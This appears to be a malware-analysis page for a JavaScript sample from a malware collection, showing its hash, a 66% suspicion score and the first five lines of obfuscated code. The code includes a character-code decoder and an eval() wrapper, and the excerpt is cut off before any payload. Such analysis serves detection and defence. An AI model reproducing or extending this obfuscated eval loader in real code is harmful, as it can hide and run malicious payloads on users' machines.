Suspicious ^66% javascript-malware-collection Download

20151208_f989de6695f991a057247e7b57c25bcb.js

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-25644d67f7049033a3be54fcff695c912ce9a5121611fffd82efb603ac5da262493

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var dpREDICjmNGWu=[];for(LoGpYem=(-56+56)/511;LoGpYem<(110752+224)/867;LoGpYem++){dpREDICjmNGWu[LoGpYem]=String.fromCharCode(LoGpYem)}function vOOEr(XZsqOBEoJBh,ystfbUKqXTTOV,GelEgtGq){SVIa=parseInt(XZsqOBEoJBh,ystfbUKqXTTOV);ADddi=SVIa.toString(GelEgtGq);return ADddi;}function VUsBibrtoFKjQrq(FOTYlRnkxbmLSNRej){eval(FOTYlRnkxbmLSNRej)}
2function WxajFdTbWcwvLZJkDLxJpgbCwiBHzwtPLYHtyrTfHksVgttsBeyDNv(cSluaZwToCCxN,xzXJNryeYMbdJN){ return dpREDICjmNGWu[vOOEr(cSluaZwToCCxN[xzXJNryeYMbdJN],(7834+316)/815,(8817+893)/971)];}
3function nZQCIVm(INwXzVFsfZFyOTbpOBaRElIciRQqlFvAzrVo) {return !isNaN(parseFloat(INwXzVFsfZFyOTbpOBaRElIciRQqlFvAzrVo)) && isFinite(INwXzVFsfZFyOTbpOBaRElIciRQqlFvAzrVo);}
4function crcYQsWNTmq(XGepLUmo,ihumhL){return XGepLUmo.split(ihumhL)}
5var W=[];W.push("13");W.push("10");W.push("13");W.push("10");W.push("118");W.push("97");W.push("114");W.push("32");W. …